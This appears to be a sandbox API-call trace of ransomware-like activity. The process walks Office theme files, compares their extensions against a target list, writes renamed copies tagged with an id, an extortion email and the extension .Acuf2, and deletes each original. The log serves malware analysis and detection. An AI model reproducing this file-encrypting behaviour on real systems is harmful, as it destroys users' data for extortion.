	[0256.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77
	[0256.386] lstrlenW (lpString=".1cd") returned 4
	[0256.386] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0256.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77
	[0256.386] lstrlenW (lpString=".jpg") returned 4
	[0256.386] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0256.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77
	[0256.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77
	[0256.386] lstrlenW (lpString=".doc") returned 4
	[0256.386] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0256.386] lstrlenW (lpString=".docx") returned 5
	[0256.386] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0256.386] lstrlenW (lpString=".pdf") returned 4
	[0256.386] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0256.386] lstrlenW (lpString=".xls") returned 4
	[0256.386] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0256.386] lstrlenW (lpString=".xlsx") returned 5
	[0256.386] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0256.386] lstrlenW (lpString=".ppt") returned 4
	[0256.386] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0256.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77
	[0256.386] lstrlenW (lpString=".zip") returned 4
	[0256.386] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0256.386] lstrlenW (lpString=".rar") returned 4
	[0256.387] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0256.387] lstrlenW (lpString=".bz2") returned 4
	[0256.387] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0256.387] lstrlenW (lpString=".7z") returned 3
	[0256.387] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0256.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77
	[0256.387] lstrlenW (lpString=".dbf") returned 4
	[0256.387] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0256.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77
	[0256.387] lstrlenW (lpString=".1cd") returned 4
	[0256.387] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0256.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77
	[0256.387] lstrlenW (lpString=".jpg") returned 4
	[0256.387] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0256.387] lstrcmpiW (lpString1=".eftx", lpString2=".Acuf2") returned 1
	[0256.387] lstrlenW (lpString="Clarity.eftx") returned 12
	[0256.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0256.388] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=32818) returned 1
	[0256.389] CloseHandle (hObject=0x34c) returned 1
	[0256.389] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx")) returned 0x20
	[0256.389] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0256.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0256.389] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.389] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0256.389] GetLastError () returned 0x0
	[0256.389] ReadFile (in: hFile=0x34c, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x8032, lpOverlapped=0x0) returned 1
	[0256.392] WriteFile (in: hFile=0x2a4, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x8040, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x8040, lpOverlapped=0x0) returned 1
	[0256.393] ReadFile (in: hFile=0x34c, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0256.393] WriteFile (in: hFile=0x2a4, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0256.393] SetEndOfFile (hFile=0x2a4) returned 1
	[0256.717] CloseHandle (hObject=0x2a4) returned 1
	[0256.717] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.717] SetEndOfFile (hFile=0x34c) returned 1
	[0256.722] CloseHandle (hObject=0x34c) returned 1
	[0256.722] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0256.722] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx")) returned 1
	[0256.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79
	[0256.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79
	[0256.722] lstrlenW (lpString=".doc") returned 4
	[0256.723] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0256.723] lstrlenW (lpString=".docx") returned 5
	[0256.723] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0256.723] lstrlenW (lpString=".pdf") returned 4
	[0256.723] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0256.723] lstrlenW (lpString=".xls") returned 4
	[0256.723] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0256.723] lstrlenW (lpString=".xlsx") returned 5
	[0256.723] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0256.723] lstrlenW (lpString=".ppt") returned 4
	[0256.723] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0256.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79
	[0256.723] lstrlenW (lpString=".zip") returned 4
	[0256.723] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0256.723] lstrlenW (lpString=".rar") returned 4
	[0256.723] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0256.723] lstrlenW (lpString=".bz2") returned 4
	[0256.723] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0256.723] lstrlenW (lpString=".7z") returned 3
	[0256.723] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0256.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79
	[0256.723] lstrlenW (lpString=".dbf") returned 4
	[0256.723] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0256.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79
	[0256.723] lstrlenW (lpString=".1cd") returned 4
	[0256.723] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0256.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79
	[0256.723] lstrlenW (lpString=".jpg") returned 4
	[0256.723] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0256.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79
	[0256.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79
	[0256.724] lstrlenW (lpString=".doc") returned 4
	[0256.724] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0256.724] lstrlenW (lpString=".docx") returned 5
	[0256.724] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0256.724] lstrlenW (lpString=".pdf") returned 4
	[0256.724] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0256.724] lstrlenW (lpString=".xls") returned 4
	[0256.724] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0256.724] lstrlenW (lpString=".xlsx") returned 5
	[0256.724] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0256.724] lstrlenW (lpString=".ppt") returned 4
	[0256.724] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0256.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79
	[0256.724] lstrlenW (lpString=".zip") returned 4
	[0256.724] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0256.724] lstrlenW (lpString=".rar") returned 4
	[0256.724] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0256.724] lstrlenW (lpString=".bz2") returned 4
	[0256.724] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0256.724] lstrlenW (lpString=".7z") returned 3
	[0256.724] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0256.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79
	[0256.724] lstrlenW (lpString=".dbf") returned 4
	[0256.724] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0256.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79
	[0256.724] lstrlenW (lpString=".1cd") returned 4
	[0256.724] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0256.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned 79
	[0256.724] lstrlenW (lpString=".jpg") returned 4
	[0256.724] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0256.725] lstrcmpiW (lpString1=".eftx", lpString2=".Acuf2") returned 1
	[0256.725] lstrlenW (lpString="Concourse.eftx") returned 14
	[0256.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0256.974] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=22417) returned 1
	[0256.975] CloseHandle (hObject=0x29c) returned 1
	[0256.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx")) returned 0x20
	[0257.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0257.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0257.060] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.060] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0257.060] GetLastError () returned 0x0
	[0257.060] ReadFile (in: hFile=0x33c, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x5791, lpOverlapped=0x0) returned 1
	[0257.064] WriteFile (in: hFile=0x320, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x57a0, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x57a0, lpOverlapped=0x0) returned 1
	[0257.065] ReadFile (in: hFile=0x33c, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0257.066] WriteFile (in: hFile=0x320, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xf0, lpOverlapped=0x0) returned 1
	[0257.066] SetEndOfFile (hFile=0x320) returned 1
	[0257.066] CloseHandle (hObject=0x320) returned 1
	[0257.066] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.066] SetEndOfFile (hFile=0x33c) returned 1
	[0257.068] CloseHandle (hObject=0x33c) returned 1
	[0257.068] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0257.275] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx")) returned 1
	[0257.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81
	[0257.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81
	[0257.275] lstrlenW (lpString=".doc") returned 4
	[0257.275] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0257.275] lstrlenW (lpString=".docx") returned 5
	[0257.275] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0257.275] lstrlenW (lpString=".pdf") returned 4
	[0257.275] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0257.275] lstrlenW (lpString=".xls") returned 4
	[0257.275] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0257.275] lstrlenW (lpString=".xlsx") returned 5
	[0257.275] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0257.275] lstrlenW (lpString=".ppt") returned 4
	[0257.275] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0257.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81
	[0257.275] lstrlenW (lpString=".zip") returned 4
	[0257.275] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0257.275] lstrlenW (lpString=".rar") returned 4
	[0257.275] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0257.275] lstrlenW (lpString=".bz2") returned 4
	[0257.275] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0257.276] lstrlenW (lpString=".7z") returned 3
	[0257.276] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0257.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81
	[0257.276] lstrlenW (lpString=".dbf") returned 4
	[0257.276] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0257.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81
	[0257.276] lstrlenW (lpString=".1cd") returned 4
	[0257.276] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0257.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81
	[0257.276] lstrlenW (lpString=".jpg") returned 4
	[0257.276] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0257.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81
	[0257.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81
	[0257.276] lstrlenW (lpString=".doc") returned 4
	[0257.276] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0257.276] lstrlenW (lpString=".docx") returned 5
	[0257.276] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0257.276] lstrlenW (lpString=".pdf") returned 4
	[0257.276] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0257.276] lstrlenW (lpString=".xls") returned 4
	[0257.276] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0257.276] lstrlenW (lpString=".xlsx") returned 5
	[0257.276] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0257.276] lstrlenW (lpString=".ppt") returned 4
	[0257.276] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0257.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81
	[0257.276] lstrlenW (lpString=".zip") returned 4
	[0257.276] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0257.276] lstrlenW (lpString=".rar") returned 4
	[0257.276] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0257.277] lstrlenW (lpString=".bz2") returned 4
	[0257.277] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0257.277] lstrlenW (lpString=".7z") returned 3
	[0257.277] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0257.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81
	[0257.277] lstrlenW (lpString=".dbf") returned 4
	[0257.277] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0257.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81
	[0257.277] lstrlenW (lpString=".1cd") returned 4
	[0257.277] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0257.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81
	[0257.277] lstrlenW (lpString=".jpg") returned 4
	[0257.277] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0257.277] lstrcmpiW (lpString1=".eftx", lpString2=".Acuf2") returned 1
	[0257.277] lstrlenW (lpString="Executive.eftx") returned 14
	[0257.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0257.300] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=21156) returned 1
	[0257.300] CloseHandle (hObject=0x28c) returned 1
	[0257.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx")) returned 0x20
	[0257.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0257.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0257.313] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.313] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0257.314] GetLastError () returned 0x0
	[0257.314] ReadFile (in: hFile=0x344, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x52a4, lpOverlapped=0x0) returned 1
	[0257.318] WriteFile (in: hFile=0x340, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x52b0, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x52b0, lpOverlapped=0x0) returned 1
	[0257.319] ReadFile (in: hFile=0x344, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0257.319] WriteFile (in: hFile=0x340, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xf0, lpOverlapped=0x0) returned 1
	[0257.319] SetEndOfFile (hFile=0x340) returned 1
	[0257.319] CloseHandle (hObject=0x340) returned 1
	[0257.319] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.319] SetEndOfFile (hFile=0x344) returned 1
	[0257.322] CloseHandle (hObject=0x344) returned 1
	[0257.322] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0257.323] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx")) returned 1
	[0257.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81
	[0257.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81
	[0257.323] lstrlenW (lpString=".doc") returned 4
	[0257.323] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0257.323] lstrlenW (lpString=".docx") returned 5
	[0257.323] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0257.323] lstrlenW (lpString=".pdf") returned 4
	[0257.323] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0257.323] lstrlenW (lpString=".xls") returned 4
	[0257.323] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0257.323] lstrlenW (lpString=".xlsx") returned 5
	[0257.323] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0257.323] lstrlenW (lpString=".ppt") returned 4
	[0257.323] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0257.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81
	[0257.323] lstrlenW (lpString=".zip") returned 4
	[0257.323] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0257.323] lstrlenW (lpString=".rar") returned 4
	[0257.323] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0257.323] lstrlenW (lpString=".bz2") returned 4
	[0257.323] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0257.324] lstrlenW (lpString=".7z") returned 3
	[0257.324] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0257.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81
	[0257.324] lstrlenW (lpString=".dbf") returned 4
	[0257.324] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0257.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81
	[0257.324] lstrlenW (lpString=".1cd") returned 4
	[0257.324] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0257.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81
